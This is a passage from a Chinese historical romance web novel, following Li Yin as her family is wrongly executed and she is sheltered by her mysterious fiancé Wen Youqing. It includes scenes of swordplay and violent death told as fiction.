李隐方才的动作一气呵成,行云流水,手法上透露着老道,若是熟悉医术的话,便可知晓李隐方才以穴为点,对这医术应当有着高超的造诣。
温幽情盯着李隐染血的指头,微皱眉头,他握住了李隐的手腕,拿出一张帕子仔细的为李隐擦拭,动作带着几分虔诚。
李隐先是一愣,随后也没拒绝温幽情的行为,只对着何金堡道:“你的这双眼睛如果还想要的话,就每日日行一善,让被你欺负过的人欺负你一次,你若做到,三日后便会好。”
何金堡咬牙切齿道:“我凭什么信你的鬼话,你以为你是什么神医?”
李隐闻言轻挑眉头,随即一笑道:“信不信随你,也就只是瞎了双眼睛罢了,相信何公子应该不会在意这区区一双眼睛吧,毕竟何家家大业大,这一块都是你何家的。”
温幽情细致的擦着李隐纤细修长的手,将指缝里的血也给擦了出来,微用了些力道,便让李隐的指尖泛了红,见着李隐泛红的手,心下只觉可爱。
这般想着,便,心下一痒,轻勾嘴角,浅笑出声,李隐闻声而去,见到的是温幽情含着笑意的眼眸。
夜风拂面,云雾遮月,青丝相缠,心尖一痒,她略带些慌张的想收回手,但温幽情却紧紧抓住了她的手腕,让她逃不可逃,避不可避。
心中泛漪,一圈一圈,轻轻慢慢。温幽情隔着帕子轻轻揉了揉李隐的指尖,这才不紧不慢的松了手道:“擦干净了。”
李隐连忙收回了手,何金堡则在一旁大骂道:“呸,真是,好一对奸夫□□。”
闻言温幽情却勾唇,加深了嘴角的弧度。
李隐对着何金堡道:“何二公子,嘴也不想要了?”
何金堡这下连着“哎呦”了好几声,捂着眼睛,继续骂道:“怎么,敢做不敢当?”
李隐微皱眉头,抬手刚准备打下,温幽情却再次握住了她的手腕,道:“我替你打。”
李隐刚想解释她并不是真想打何金堡只是想将人打晕,仅此而已。
就见着温幽情已经伸手,他比何金堡高不少,打的时候,何金堡依然在不停的叫喊,不停的动着,温幽情对着脸打下去的地方一下到了何金堡的后脖子,“噗通”一声,何金堡应
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声而倒。
自持高傲神情的脸,毫无保留的贴在了地上,染上了溅起的尘土,无尊贵可言,如冬虫寻不到夏草,在他身上不止寻不到一丝尊贵也见不到一点优处,只是一个混霸王。
干完这一切温幽情就牵起了李隐的手,带她走到了小路上,巷子中的一条。
步步向前,踩在路上,也仿佛踩在了心里,心中感觉怪怪的,说不清道不明的感觉,让人苏痒,竟也难忘,以至于缱绻流连。
心中如涟漪荡漾,不是波涛,却也让李隐感到惊憾,心跳如细雨,平静却又觉惊慌。
走到人稀处,温幽情才松开了牵着李隐的手,回头见李隐望着他,便道:“李姑娘,方才我拉着你,他们都看见了,何公子的事,我是主谋了。”
李隐悄悄的将被牵过的手藏在背后,手指轻轻蜷缩在一起,她道:“此事,与公子无关,公子大可全身而退。”
温幽情道:“我打人了,拉着姑娘跑了,是主谋,此事我担。何家在京城有势力,我家在京城虽非名门贵族,但也不弱,他无法奈何我的。”
李隐面露犹豫之色,温幽情又道:“若是姑娘觉得过意不去,那便将我的往事散给解了吧。”
李隐闻言,抬眸,落入了一双含笑的眼眸中,她道:“你是如何察觉的。”
温幽情走向了巷子深处,道:“略懂医理一二。”
李隐跟了上去,云雾散开,明月悬空,银辉四撒,落在了房屋,树梢上,也悄然跟在了二人身后,李隐是踩着温幽情的影子走着,她问道:“公子有疾?”
温幽情轻轻“嗯”了一声,李隐便再次问道:“何疾?”
温幽情一笑道:“心病难治,八年寻药,如今还差一味药引。”
李隐加快了步子,跳出了影子,走到了温幽情的身旁,问道:“还差?”
温幽情看着李隐道:“不过,找到了,只是还需一些时日。”
李隐闻言点了点头,原本想的是自己没准可以帮上忙的,号号脉象,没准她有其他的法子,如今看来没必要了。
两人顿时也没聊了下去,只是走在巷子里,听着风来时,树梢沙沙作响时,时不时看看凭着月光照亮的铺着银辉的路。
走了一会便到了李府,温幽情站在门口,看着李隐入了门后才转身离去。
他依旧走的是小路,但却是与来时路不同的另一条,过高的房屋遮住了月光,巷子里黑黢黢的。
温幽情走了几步后,身前传来一声清响,他停住了脚步,对着前面一笑,淡淡开口道:“裕陵姑娘,心性了得,在下着实佩服,潜藏李府数年,你的主子得到了他想要的了吗?”
黑暗中,“嗖”的一声,飞来了一只飞镖,正对着温幽情的面门袭来,他迅速侧身躲过,飞镖狠狠的插在了墙上,飞镖的半个身子都陷了进去。
紧接着又是三个飞镖“嗖嗖嗖”的凭空而来,远远看去只见黑色笼罩的小巷里,闪过几点光亮。
9. 李家遭难
温幽情足尖用力,向前一冲,动作讯快,侧身闪过,飞镖眼看要擦过面颊,他轻轻偏头,给飞镖让出了路子,最后立住了步子,所有动作行云流水,一气呵成。
裕陵见状,轻拉脖子上的面纱戴在脸上,转身藏匿于黑暗中,脚步轻快,三步上墙,伸手撑住墙上的翠瓦,用力一翻,便过了去。
温幽情见着这一幕,只停在原地,便不再追赶,淡然的继续走在黑暗笼罩的巷子中。
裕陵贴在墙后,细听步声,听到略带规律的节响,她才拍了拍自己的胸脯,长舒了一口气。
这人,果然不简单。
面前无灯映烛光的窗突然亮了起来,一道窈窕淑女般的影子,投了上去,缓缓变大。
裕陵望向四处,近处无树,一只手贴在了窗户纸上,纤细的手指映在窗上虚化了指边的阴影。
裕陵微动脚踝,确保了足下是有着一颗石子的,便脚后退半步,随后紧跟着突然用力,石子飞出了一个近乎于完美的弧度,迅速落到了她的手中,对准窗户,指尖用力将石子一弹出,“嗖”的一声,破了窗户纸,飞了进去,那道人影也没了变大的趋势而是变得小了。
裕陵缓步悄悄向前,看了一眼见无大碍便转身足尖生风般,点地上墙,从另一面墙而翻出。
她的左手里紧紧握住一张皱皱巴巴的书信样式的东西,她步子很急,不一会到了拐角,她将手上的东西丢到了一旁的花坛坑里。
随后轻车熟路的翻墙而过,落地微曲膝盖,扶着墙壁减缓冲力,没有发出一点声响。
她迅速绕到了一间种着绿竹的苑子,轻敲门三下,“吱呀”一声门开了,一个与她长得一模一样的人出现在她的面前,两人相顾,如同照镜。
李隐让出了道,看向四周确保无人才在裕陵进来后给轻轻合上了门。
她按照裕陵的习惯给裕陵沏了一盏茶,递到了裕陵的手边,只是奇怪的是这人往常在换身份期间回来只为吃茶的人,如今却未有伸手见过,去好好品品这年上好的碧螺春。
裕陵一把抓住李隐的手腕,面露犹豫,随后还是一咬牙,说了出来:“李隐,李家要遭难了。”
李隐听着裕陵略带急切的话语,手中的茶盏中的茶水随着方才的晃动而落了出来,撒在了地上,成了一片小河,映着摇曳的烛火。
她道:“姐姐是开玩笑?”裕陵不言一语只是眼中尽是忧愁,望着裕陵那满含忧愁的眼眸时,李也知晓了这并非是玩笑,只是李窗明好善乐施,一生行善,怎么会得罪人,故而她的第一反应是不信。
李隐问道:“你,可知是什么难吗?”裕陵道:“何家,你的前未婚夫,何景,他前些天去了京城,混了个官名,想报被你侮辱的仇。”
李隐闻言先是陷入沉思,随后问道:“他打算何时行动,又以何罪名浑判我李家。”
她的话刚问出口,就听到了苑子外的一声惊叫:“小姐,那是小姐的住处,你们不能去,她和京城温家公子有婚约,你们不能动她。”
这道声音李隐熟悉,是羽素,她儿时喜欢一起玩的丫头。李隐迅速转身,推门而出,见到的是一群身穿甲胄的士兵正提着刀剑对着羽素,她摊开双臂用小小的身影挡在那群官兵的面前。
官兵一把将她推翻在地,平时注重衣洁的人,如今衣满尘土,她还想向前就被一道锋利的刀剑贯穿了身体。
她听到推门的声音,迅速回头,见到了李隐,泪水夺眶,她张嘴有着千言想说万语想道,可最终也只是说了句“小姐……”鲜血顺着嘴角而出。
“羽素。”李隐说道,立即疾步上前,将人扶住,羽素看着李隐一笑,道:“小姐,我其实不傻,你每次回来的时间都好短啊……我想好好……看看你啊。”
她说着想伸手摸上李隐的面容,却在看到了自己手上染血和尘土时,停在了空中。
一旁的官兵见此情景,一把将刀拔了出来,鲜血喷了出来,羽素见状伸手去捂伤口,鲜血顺着指缝而出,落在地上,融入尘土。停在空中的那只手,无力的落了下去,眼中无了光彩,向地面倒去。
李隐将人一把抱住任由溢出的鲜血染红自己翠绿的衣衫。
她手颤抖着摸上羽素的脸,为她仔细的擦拭掉脸上溅起的血迹,寒意袭人,一柄剑立在了她的脖子上。
她如目不见此般,不惧不闹,只语气平静的问道:“你们的主子,是何景对吗?”官兵闻言轻蔑一笑,刚想说话就觉喉咙一痛,发不出声响。
身旁的两人不知何时倒了下去。他顿时瞪大了双目,手中拿着的剑被面前这个看起来弱不禁风的小姐给轻轻捏断,利刃破掌心,鲜血满上,与羽素的那道血迹重叠,加深。
李隐不紧不慢的起身拿着剑尖用力的划上了官兵的脖子,手对着血管,却不知怎的,偏了一些,只是割到皮肉,未曾伤及血管。
李隐喉间涌上一股腥甜,血顺着她的嘴角溢出,全身的关节都痛,如落入冰窖,又被万千石子砸。
官兵见此,一把掐住了李隐的脖子,恶狠狠的瞪着李隐手上用力,李隐呼吸急促了些,视线都有些模糊,她不由的握住了手中的残剑,伤口更大了些,她也愈发清醒了些。
使出浑身力气,对着官兵的手腕划去,也如刮痧,留不下痕迹,那人见状丢了断剑,抬手对着李隐打去,喉间又是涌起一抹腥甜,脸上火辣辣的血一下喷了出来。
官兵被喷了一脸,更加怒火中烧,李隐却笑了。
官兵见着面前这脸颊微肿,嘴角溢血,却笑的肆意而不见狼狈的人,心下却是闪过惊慌,有着一瞬他觉得这人像极了地狱的阎罗。
他手上更加用力,李隐却笑得更加张狂,他立即加上了另一只手,窒息感就如同落入万里海中一样,如浪一层又一层,一次比一次汹涌。
李隐闭了
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眼,却觉脖子忽然一松,随后落到了一人的怀中,淡淡的苦涩草药香萦绕在她的鼻尖,闻起来略带苦涩,却让人喜欢,给人以安心。
再次醒来,入眼的是绿色的纱幔,浑身上下哪哪都疼,脖子上敷了一副草药,这味道,李隐有点过于熟悉了,活血化瘀,功效非常之好。
她嘴中苦涩的厉害,想要杯水,便缓缓起身,刚准备下床,就见到了床边的小凳子上已有了一杯水,杯口氤氲水汽,她伸手拿去,水温刚好。
浅酌两口,随后一口入肚,她将杯子放回原处,便起了身,身上的衣服早被换过了,一袭白色衣裙,银线绣着白鹤,皆在裙摆,血红色的小石用了特殊方法嵌入在了鹤上,整体看起来既雅却不素。
她缓步走了出去,这间苑子的布局和她的有点相似处,皆种了一排翠绿苍茫的竹子,竹子很高宛若高墙,将此地隔绝了开来。
阳光透过竹叶落在李隐的身上,她这才走了几步就遇到了一个小丫鬟,那丫鬟和羽素眉眼间有着几分相似。
一见到李隐她面露一喜道:“姑娘,这几日先在此处落脚,公子还有事一时半会也回来不成,姑娘若有需要时可随时唤奴婢,奴婢名为雨书。”
李隐问道:“你家公子姓温?”雨书点了点头,单纯一笑道:“自然是姓温,我家公子还是小姐自己的未婚夫呢。”
李隐闻言不语,只是在苑子里逛着,这里的竹子种得很密,纵横交错,层层叠叠,挡住视线,外面见不到里面,里面也见不到外面,里外相连,却又,遥遥相隔。
雨书交代了那些话后就出了苑子,苑子里肃清寂静,无风,竹叶不摇,有鸟,清清鸣唱。
李隐走了几圈下来,这苑子的布置她都已经了熟于心,她趁着雨书不注意时,放轻步子,悄然走了出去。
出了苑子入眼的就又是另一副风景了,廊檐曲折,长亭立湖,湖中盛荷花,荷花玉丽,清香清鼻。
李隐凭着感觉走着,没走几步便遇到了一位熟人,“温公子”竹难任,李隐停下步子,竹难任也停了下来。
李隐道:“近日多谢。”竹难任道:“婚约在身本是她家人,何必如此生疏呢。”
他突然想到什么又继续道:“近日世道不太平,姑娘还是不要外出为好,小心容易突遭横祸。”
李隐道:“公子有劳,如此忙还两处往返。”竹难任尴尬一笑道:“哪里哪里,最近虽忙,但这家中还是要时不时回来,免得老太太念叨。”
话虽如此说,但心下却是,这姑娘怎么这么机灵,直接套话试探他,他真是对温幽情佩服的五体投地了,这人怎么喜欢的人也和温幽情一样有着心眼子。
李隐微微点了点头,轻轻一笑道:“公子,倒是一位妥帖的孝子贤孙。”
竹难任浅笑,道:“李姑娘评的有理。”
李隐道:“我今日想出门一趟,不知公子可否指路?”
10. 当权者贵
竹难任道:“沿着此处直走,待到拐角时,行右边一路百步后便可出府。”
李隐道了句谢后,转身就走,按照竹难任的说法走着,果然先到了一处拐角,遇到了两条路,她果断抉择行道右侧,不出百步直达一处偏僻的小门。
推门而出,入眼的是集市,迎面的是烟火。可热闹归热闹,人人相谈相笑,李隐面对这陌生的地方,心下依旧先是一慌。
随后提步,步入人群,人群呜呜泱泱,相谈甚广,论及田地,谈及天理。
李隐并没有从这群人的交谈中得到想要的消息,强装无事的壳子一下子碎掉,眼眶急得泛了红,脚下的步子越走越快。
来来回回,四处绕,寻寻觅觅,无音晓,羽素死的一幕又在她脑中浮现,鲜红流淌的血,不甘忧伤的眼,让人揪心的话。
“小姐,我其实不傻,你每次回来的时间都好短啊……我想好好……看看你啊。”
羽素这八年里原来一直都知道,知道她和裕陵换了身份,知道她搅乱了与何家的婚约……
面对权贵,李隐第一次有了无力感,什么也做不了,别人一句话就可定她全家的命。
当权者贵,当权……重在权字。
泪水落下,打湿脸颊,泛红的眼角更红了,人群无人驻足,无人看及李隐一眼,皆是行路擦肩而去,为着自己的事,匆匆忙忙,步子,不停下,不放缓。
人群中停下来的一直只有李隐一人。站在路口,行人擦肩,不论嬉笑谈论,还是不言一语,皆是向前走着。
天地苍茫广阔,孤独寂寥,李隐望着前面的路,路见不到头,人群呜泱。
她犹豫了一会,随后咬牙向前,眼神更加坚定,向前走去,前路直宽阔,行人却愈少,走着走着到了一处发布圤告的栏前。
见到了熟悉的字,她心中一紧,纸张上写:锦城,李氏,罪重轻民,判全家抄斩。
父亲怎么样了?
李府的其他人怎么样了?
她迫切的想知道关于李府的事,发疯了一般抓着一旁人的胳膊问道:“你知不知道李府怎么?你知不知道李窗明怎么样了?告诉我李府的人都怎么样了,告诉我,告诉我。”
那人被她这样拉着,面露不悦,眼露烦闷,一旁的丫鬟会意,一把将李隐拉着她家小姐的手用力拿下,随后动作熟练的一巴掌打到了李隐脸上。
可李隐就像是感觉不到痛似的,只继续道:“告诉我,李府怎么样了,我求求你了,告诉我好吗?”
那人面露鄙夷道:“这不是写了,自然当是满门抄斩,一人不留。”
赵怜映见着李隐李隐突然又哭了,心下更烦只觉晦气,对着翠儿道:“走吧,翠儿,温哥哥应当要回府了,他一定等我很久了,不能让他久等。”
名为翠儿的丫鬟笑着奉承道:“这是自然,小姐生的如此貌美,被称娇花折月,天下公子谁不为小姐倾倒,能让他等都是他的福气。”
赵怜映听着微微勾起嘴角娇笑故作嗔怪道:“翠儿,温哥哥不一样的。”
翠儿笑和应和道:“是是是,温公子玉树临风,月下如玉,和小姐最是相配。”
赵怜映红了脸颊,娇嗔道:“翠儿。”
李隐淡淡的看着二人离去的身影,视线模糊仿佛被抽了神,手上传来的痛感却将她一把拉回现实,手指不知何时紧紧的嵌入了掌心,鲜血透纱布,落了下来,滴在地上,不起波澜,落在身上,却醒目张扬。
她将那只流着血的手抬了起来,低头看去,血液顺着手腕没入,袖口渐红,她看了好久最后却笑了,如果真的是这样为何留下了她一人。
她心中有着一个答案可猜,但却对猜产生了畏怯,她猜东西一般很准,可这回她却希望自己不准。
她走着,凭着感觉,这条路道有了几分越走越熟悉的感觉,但她未曾来过。
天色变得灰蒙,透露着阴暗,似要下雨,她走到了一处行刑台,血迹已干涸,木刻的罪状仍在地上静静的躺着,木刻的是名字与罪状,二者加起来列满一条,却也不过是寥寥几字。
她的脚步变得沉重,腿如同灌了铅了般,很难向前走出一步,“轰隆”一声惊雷,世界骤然一亮,短暂的变为一片空白,透露苍茫寂寥的天地底色。
大雨突然倾盆,雨脚细密,落在地上,宛如生花,雨水透凉,打湿衣裳,衣裳变得湿漉漉的,黏糊糊的,让人倍感不适。
李隐缓步向前,雨书落在头上干扰视角,她看的不清。
雨水洗刷掉干涸的血迹,红色的血水流了整整一台,不知是不是雨太大了些,压的她难受,对着那个罪状条,她不由的跪了下去。
罪状条上墨迹已糊,但依旧可以隐约看到,罪人,李窗明,轻民的字样。
她愣住了,呆呆的看着那木刻的罪状条,随后,颤抖着手摸了过去,刻文入木三分,摸着真切,却让她倍感寒凉。
雨落在身上,如同小石子砸在身上,发丝贴在脸上,雨急的让人窒息,雨太大,想躲,她也躲不掉。
她已经不打算起身了,带着雨里,不抱任何希望的抬头看向了天,她真的好想问问老天到底是怎么想的,善人无善终,恶人无恶报。
可头上的雨突然“停”了,一人身穿青衣走到了她的身边,那人带着斗笠,打着竹伞,为她遮下了这一片的风雨。
她抬头望了过去,叫了句“师兄。”
竹伞更加向着李隐倾斜,那人的半个肩膀暴露在外,被雨水肆意的凌辱着,只是刚刚一会就染深了色。
李隐道:“师兄,你是过来看我笑话的吗?”
温幽情没有说话,隔着斗笠的白色帷帐,李隐看的不真切,如雾如幻,像极了氤氲的水汽,像极了飘动的浮云。
李隐一笑道:“师兄,我的筋脉是不是都废了啊。”
这回温幽情开口了,他的声音很哑,“你明知有废掉筋脉的风险,又为何要一试,强行挣脱蛊毒,你会死的。”
李隐闻言垂眸道
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:“可,我只差一点,就可以杀了他了,只差一点。”
温幽情道:“那你就算杀了他又如何?官兵不止一人,先杀了他,然后再去死?”
李隐沉默了,温幽情便继续道:“在百天内若可以拿到温家秘药,便可彻底解了你的毒,还可以修复你的筋脉。”
李隐认真的听着,随后缓缓起了身,她道:“多谢师兄。”话落,她刚想转身出了伞时,温幽情却将伞递到了李隐的面前,他道:“雨寒,御寒,你的伤不可受寒。”
李隐收了下来,从温幽情的手里接过伞,随后撑住,温幽情后退了一步转身离去,雨中朦胧,景如梦,人如幻。
李隐紧紧握住手中的伞,原路返回了出府的小门那,随后她试着轻轻推开,“吱呀”一声门就开了,很是轻松。
李隐按照原路回去,一路无人,不一会就到了那间苑子。
雨书在房中来回的踱步,走过来了,走过去了,如此以往,来来回回。
隔窗见到手打着伞的李隐时,她分外的高兴,可在她看清李隐时,心下却是一惊,李隐衣裳湿漉,处处沾着鲜血。
她连忙开了门,站到了一旁,对着李隐急慌道:“李小姐,您这是去哪了,赶快进房,将身上这套打湿的给换掉,不然容易生病的。”
李隐走了进去,收了伞,递给了雨书,在看到伞上特殊的图案时雨书先是惊异,随后是好奇,再其次的便是愤怒。
自家公子什么时候有了折磨人的点子,全弄到了自己的未婚妻,简直太荒唐了。
公子时长,喜怒无常,让人摸不透彻。公子最喜欢的就是玩着心计,去捉弄自己不喜的人,或者不顺眼的人。
雨书浅浅的叹了口气,她道:“李姑娘,你以后还是不要随意出去了吧,不然公子会不高兴的。”话落她下意识的看向了李隐的脸色变化。
最终得到了一个她意料之外的结果,李隐点了点头道了句,“好。”
雨书闻言惊喜一笑,她道:“姑娘要说话算话,不然公子也会不喜欢的了。”
李隐再次点了点头道:“好的,我会注意的,不让你家公子讨厌我。”
雨书嗯嗯了几声,随后绕到了屏风后,打开衣柜,从中选出一件浅绿色的衣裳,递到了李隐的面前。
李隐将衣服拿过,绕到屏风后,开始宽衣,换下湿漉漉的衣裳,只一会她就穿好了。
浅绿如夏荷,无金线银丝,却风度翩然,透露着生机合乎着她的气质。
她将衣裳搭在屏风上,随后缓步走了出来了,她坐到了椅子上,随后问道:“你可知,你家公子喜欢什么的吗?”
雨书闻言陷入了沉思,她抓了抓脑袋,随后才道:“我家公子可能喜欢乖一点,最好温柔体贴,公子如此优秀,喜欢他的人自然不在少数,争风吃醋,嫉妒吵架,公子就会不高兴。”
李隐认真的听着,随后还准备问的时候,“吱呀”,门被推开,一道声音却传来“你问她,倒不如问我。”
11. 监视言行
雨书手上正拿着布刚碰到李隐的发丝,水透过布,打湿了指尖,她闻言手上动作一停,转身看去,皱起眉头。
竹难任一笑道:“还想知道什么可直接来问,我对他可是相当清楚的。”
李隐的轻轻拍了拍雨书的的手,故作安抚,才道:“想问公子一句,他喜欢怎么样的人。”
竹难任坐到了椅子上,动嘴随意带着一丝独属于世家子的慵懒道:“他,喜欢和他对着干的,也喜欢听他话的,讲究一个缘字,喜欢能看顺眼的。”
说着他突然想到了什么,一笑道:“他啊,最喜欢的就是像姑娘这般,容倾城貌似丹青,文可落墨性无瑕,姑娘不必多想,只待着婚期来时出嫁便好。”
李隐认真的听着,将这些一一记下,在心中比对,裕陵和她容貌一样,文墨上,裕陵喜好诗词歌赋,藏有山水名篇,更胜她一层,心下便定下了对策。
竹难任见着李隐听的认真的乖巧模样,轻勾嘴角,从怀中掏出了,一只绿色瓷瓶,他握在手心随后轻轻抛了出去,空中划出一道完美的弧线,瓶子便稳稳当当的立在了李隐身旁不远的小桌上。
李隐拿了过去,伸手打开,凑近一闻,药香扑鼻,清淡苦凉,闻着舒爽肺腑,如细雨润田。此等物件,十分稀罕,定然价格不菲,是上好的伤药。
她望向竹难任,有一丝的不解,这是给她的,但他们不过是泛泛之交,见面之次数皆是尔尔,出于道义亦或是情理都不应该送此等过于贵重的物品。
竹难任送完了东西,就站起了身,道:“李姑娘,无需多想,这些皆是姑娘的未婚夫相送的,美人应无瑕,姑娘生的如此貌美,若在手上留疤岂不是太过可惜了。”
李隐这才将瓷瓶收下,握在手中,她道:“多谢,温公子。”
雨书闻言眼中闪过一瞬的惊讶,少爷这又是在唱哪出,竹世子,什么时候成了温家的人了?
她真的是越来越看不懂她家少爷的想法了,骗去淋雨再送药,在外不归托人演,她略带无奈的摇了摇头,心下只希望这位漂亮的李小姐可以在少爷的手下活下去。
竹难任的一只脚,跨了出去,眼看就要跨出第二只脚时,他突然回头一笑,对着雨书道:“你,是不是又长高了?”
雨书没有理会,而是走向前出,伸手覆门,脚下装作不经意间踢到了竹难任的那只还在房内没有迈出的脚,一手将门覆上,把竹难任给挤了出去。
外面,雨水倾下,落地生花,水汽缠绕,渐湿衣角,竹难任回味着方才的事,浅浅一笑。
不远处的长廊上出现了一抹青色的身影,他提步走了过去。
灰瓦边角,雨水驻足,凝结成珠,忽的落下,一颗又一颗,细密相连,竹难任步子轻快,步步生风,脚步伴着雨落声,逐渐走向长廊的尽头。
房内,雨书看着这一幕,关上了窗子,外面细密紧凑的声响顿时变得更小了些。
李隐坐到了一旁的椅子上,唤了声“雨书。”雨书这个名字和羽素过于像了,偏偏两人容貌上还有几分相似,但羽素眉眼间更乖巧,一双大大的眼中,大部分时间装下的都是她。
雨书连忙上前,柔声问道:“姑娘,怎么了?”
李隐将手上的药递到了雨书的面前道:“替我换药吧。”
雨书伸手接下,半跪到李隐的身旁,轻手轻脚的打开了瓶子,李隐伸着手,手上绕着好几圈纱布,纱布都早已打湿,染着血水,深浅有着层次,步步染开。
她小心翼翼的将纱布解开,随后揭开,动作极为轻缓,似乎生怕弄疼了李隐。
最后一圈揭开后,露出了带着深浅不一刀刃伤口,雨书将瓶子打开,仔细的把瓶子中的液体倒在李隐的伤口上。
她干的认真丝毫没有注意到李隐一直盯着她看,看得十分认真,观察的非常仔细,留意着每一个神情。
这两人,名字,长相,甚至性格都有着几分相似,李隐看得出神,羽素的话又在脑海中浮现。
父亲的容颜,全年上下一百口人,也都在她的脑海中一一浮现,她不敢想,那些人又是如何被那群官兵所对待的。
一百口人,如今只剩下了她一人,一切发生的太快,快到太不是真切,快到过于梦幻,像极了一场长长的梦。
什么时候,噩梦才会醒,或许噩梦永远不会消散,只是记忆想折磨她罢了,只是老天总爱开玩笑罢了。
她这般想着,心中却依旧有着不甘,那些情绪如同火种一般,在心中升起,燎燃。
她不甘,凭什么,恶人有罪可赦,善人含冤而终,凭什么,老天不收那些人……
恶善有伴,何时天神睁眼,看向天火人间。
这般想着手指不自觉的蜷缩在了一起,雨书连忙惊叫一声:“姑娘,姑娘,不能这样,会留疤的。”
她抬头看去,就见李隐眼角微红状似将哭,却眼神坚定,她心下一惊,这种眼神她在公子身上也见过,那时的少爷不受待见,也是如同今天一般的场景,不过是雨夜,在祠堂。
李隐的手指愈来愈蜷缩,指甲渗入了伤口中,鲜血顺着手腕落下,“嘀嗒”在地上,与屋檐下的一滴雨有着相同的节奏。
李隐的手被雨书抓着,她用力的掰着李隐蜷缩着的手指。她对李家的事或多或少都了解一些,所以这些天一直不提,可在看到李隐时那镇定自若模样时,她还以为这位小姐,也是薄情的,和公子一样,少有悲欢。
如今倒是明了,小姐重情,方才只是又想到了伤心的事了,她心中多了一丝心疼,也不知道这婚是福还是祸,保了一命,但自家公子那……
她轻轻摇了摇头,索性不想了,公子性情不定,不猜不琢磨,才是最好的,不然只是徒增忧伤。
李隐松了手,鲜血顺着指尖而落,落在地上,红得妖艳,红得醒目,宛如一朵雪中看不清模样的腊梅。
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雨书连忙将瓶子中的药对着伤口倒去。药水淡绿,可闻苦香,嗅着清凉,但碰触到伤口应该是疼的,可李隐却没有一点反应,全程面不改色。
雨书对着这个有时和公子有几分相似的人,心下更多了几分配服,也更多了几分好感,她不知何时产生了一种错觉,觉得温幽情就应该和这位小姐在一起,两人虽未同框,但雨书却觉两人各方面都很登对,天造地设,就应是一对。
她眼神关切的看着李隐,轻声问道“小姐,疼吗?”
李隐看向手上那鲜血与药水混在一起的地方,只道:“有点,但也还好。”她看向了雨书,对上了一双亮晶晶却带有忧伤关切的眸子时,只觉得雨书应该多笑笑,双目如星,笑起来,该多灿烂呢。
她便轻笑道:“瞧你这样,也是被我骗了吧,伤口早就不疼了,这样只是想让伤口好得更快一些,避免留下疤。”她说着用另一只完好的手敲了敲雨书的头道:“下次机灵一点,别再被我骗了。”
雨书闻言点了点头,拿了新的纱布为李隐轻轻的绕圈,对着伤口轻轻的系着,她全神贯注,眼睛直勾勾的盯着,很是认真。
在确保无误后,她才说道:“好了。”看着李隐缠着纱布的手,她又道:“公子,是准许姑娘出去的,但是公子有过规定,一,不可带他人进来,二,不可出事扰到府中人。只要不沾这两条,姑娘可出去转转的”
李隐闻言,道:“多谢。”她说的诚心。
廊角边,留着细密的雨脚,廊角上,落着凝聚的雨珠,雨脚哗啦,雨珠嘀嗒,节凑紧密,待月出时,才骤雨初歇,微微慢下。
雨书守着李隐睡下后才轻手轻脚的出了房中,她动作分外的轻,行的缓慢,处处小心翼翼,未伸开手脚。
她出去,关了门后,这才加快了些步子,长廊上留着水渍,落脚微微溅起,沾湿了裙角。
长廊外依旧下着雨,雨小,落地极轻与一开始时的粗暴狂野截然不同,此时却带着几分浓情蜜意的温柔缱绻。
她七拐八绕的便绕到了府中的一处书房,她轻敲一声,随即门随着“吱呀”一声,忽然开了。
房中的灯忽然熄灭了,此处忽然失去了光源,变得昏黑暗淡,月色朦胧,光几乎不可见。
她见此汗毛也立了起来,不敢抬脚走近一步,见着黑不见底的书房,她深吸一口气还是走了进去,刚进去,灯就亮了。
见着雨书一副视死忽如归的模样,温幽情一时倒是轻笑出了声。他道:“你这是以为我会杀了你?”
雨书闻言一下跪到地上,道:“不敢。”
温幽情不多调侃只是坐到了椅子上,手指有着节奏的敲着桌子,发出很规律的“嘀嗒嘀嗒”的声响。
他问道:“她最近可有异常?”
雨书连忙起身将袖子里藏着的一封信递了上来道:“这是今日,李姑娘的言行,奴婢谨记着什么该说什么不该说,公子可放心。”
12. 宫角围宴
温幽情将信收了去,打了开来,仔细点看着,手指敲打桌面的动作也停了下来。
他看完了,便将信的一角对准了烛火的顶尖,顶尖的火舌一下子就绕到了信上,焰火缓缓向上攀爬,男人的轮廓上也多了几分柔情,他淡淡道:“明日宫角围宴,带她过去,记住勿要让人伤着她。”
雨书连声应下,答道:“是。”话落她低着头退出了门去,跨过门槛便轻手轻脚的关了门。
完全出了去,她这才深吸了口气,缓了一缓,对少爷,她依旧是怕的,不论是跟了多少年,她依旧难以忘怀那个雨夜,那个所有人都不再愿意提及的雨夜。
雨夜,雨簌簌的下着,大颗的雨水滴落在地,“啪嗒啪嗒”声音重重叠叠,溅起水花,渐湿墙脚。
祠堂,灯火昏黄,风来,烛光摇曳,将地上的人影拖的极长。少年身姿挺拔,跪的端正,他目视前方,眼中没有丝毫情绪,只余淡然。
牌位被摆放的规规整整,新描的字迹被水汽浸润,红色的液体从过于饱和的字中流出,倒像是泣血。
雨脚变得更加密集了,水花层层相叠,一层层陨灭,又一层层现出,溅起的水花,打湿了长廊。
屋顶灰瓦的翠响,连连不断,杂乱无章,像是被扯断了珠链,所有的珠子一下子全落到了地上。
空气湿润,却不见凉爽,风过袭来,却不见清爽。空气中湿润到有些粘糊,贴在皮肤上,让人倍感不适,风过吹来的不是凉意,而是迎面的热意,让人心中只觉烦闷。
一只蜡烛被风吹灭了,烛身被吹动了,摇摇晃晃两三下后,“啪嗒”一声,滚落在地,滚到少年的跪着的蒲团边,少年神色淡然,宛若未见。
蔚然人不动,四周闻雨声,堂中碑泣血,空中自悲切。
雨夜见着祠堂的烛光渐暗,她打了个哈欠,手上拿着烛台,走向了祠堂。
月色暗淡,朦胧如梦,令人感到很不真切。
走着走着,只觉地上的阴影更重了,比别处的影子还暗上几分,她没有多想,举着烛火,迷迷糊糊的向前走着。
只是在她越过地上那潭水渍时,火光照过,是一片略带暗淡的红。
她不紧不慢的走着,路上变得有些粘稠,她只觉的走起来有些费了,只当是有人将东西泼这了,而且还泼了一路。
风拂面门,撩起发丝,带走了她些许的困意,她打了个哈欠,随后也睁大了眼,看着面前一滩血,她瞳孔顿时放大,一下子愣在当场,立在祠堂门前,屏住呼吸,不敢呼气,不敢言一语。
祠堂中跪着的人听到了停下的脚步,少年手中盘着佛珠的动作停下了,他淡淡道:“不进来?”
佛珠上还残留着未干涸的血迹,少年修长分明的手上也留着未干涸的血。
雨书手上的烛台照亮了面前的祠堂一角,地上全是冷冰泛着灰色的人脸,以及摆放整齐,分装别类的人骨,整整齐齐皆罗列成了小山。
见着这样的情景,她面上震惊,心中更是惊起了惊涛,想喊叫却哑然失声。
她拿着烛台的手不自觉的颤抖,依旧立在原地。
温幽情见状,起了身,转身看去,他面上没有丝毫惊恐悲伤的神情,只有一种诡异的平静。
